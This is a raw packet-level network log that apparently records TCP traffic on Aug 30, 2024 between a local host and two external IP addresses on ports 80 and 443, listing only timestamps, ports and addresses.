Aug 30, 2024 06:17:04.026446104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026456118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026468039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026494026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026516914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026572943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026591063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026602030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026623011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026648045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026660919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026670933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026679993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026690960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026699066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026702881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026720047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026727915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026732922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026776075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026796103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026871920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026882887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026892900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026902914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026913881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026928902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026941061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026947975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026951075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026963949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026976109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026987076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026998043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.027024984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.027075052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027087927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027098894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027116060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.027134895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.027177095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027189016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027194977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027201891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027214050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027225971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.027254105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.027287006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030579090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030595064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030607939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030621052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030638933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030644894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030658007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030668020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030689955 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030719042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030719042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030730009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030740023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030750990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030761003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030787945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030817986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030829906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030839920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030857086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030858040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030870914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.030884027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030905962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030920982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.030992031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031008005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031028032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031035900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031038046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031054020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031060934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031065941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031078100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031078100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031117916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031136990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031143904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031148911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031160116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031172037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031172991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031203985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031228065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031282902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031295061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031311989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031327963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031357050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031383991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031395912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031409025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031419992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031421900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031431913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031443119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031443119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031454086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.031474113 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.031503916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.094667912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094679117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094690084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094712973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.094739914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094743967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.094752073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094764948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094773054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.094775915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.094784021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.094799995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.100343943 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.100404978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.100848913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.100857973 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.101020098 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.101025105 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.106961966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107007027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107042074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107052088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107060909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107073069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107089043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107110977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107180119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107192993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107202053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107213020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107222080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107225895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107234001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107242107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107251883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107254982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107265949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107270956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107276917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107294083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107294083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107314110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107372999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107383013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107392073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107402086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107407093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107412100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107422113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107430935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107431889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107444048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107459068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107508898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107520103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107528925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107534885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107539892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107546091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107562065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107573032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107633114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107642889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107651949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107662916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107671976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107672930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107692003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107721090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107774019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107783079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107795000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107805014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107817888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107825041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107829094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107839108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107841969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107855082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107865095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.107866049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107888937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.107911110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108045101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108053923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108097076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108166933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108175993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108190060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108200073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108203888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108210087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108218908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108226061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108231068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108241081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108242035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108251095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108259916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108261108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108269930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108290911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108670950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108680964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108690023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108700991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108706951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108711004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108721972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108728886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108732939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108742952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108745098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108756065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108763933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108767033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108773947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108784914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108791113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108803034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108814001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108824968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108823061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108834028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108843088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108853102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108854055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108861923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108874083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108880043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108885050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108895063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108896017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108911037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108917952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108921051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108931065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108939886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108947992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108953953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108958006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108968019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108973980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.108978033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108988047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108997107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.108998060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109008074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109016895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109018087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109028101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109031916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109045982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109056950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109081030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109273911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109286070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109297037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109308958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109314919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109327078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109338045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109349012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109349012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109361887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109370947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109373093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109381914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109392881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109399080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109405041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109415054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109417915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109426975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109436989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109448910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109448910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109460115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109462976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109476089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109483957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109488010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109499931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109502077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109513044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.109529018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.109553099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.113964081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114005089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114039898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114053011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114077091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114095926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114160061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114171028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114181042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114193916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114203930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114226103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114362955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114373922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114383936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114392996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114403009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114408970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114413977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114415884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114425898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114448071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114465952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114476919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114485979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114487886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114492893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114497900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114506960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114511013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.114526033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.114546061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119196892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119208097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119219065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119251013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119288921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119324923 CEST	80	49735	147.45.44.104	192.168.2.4
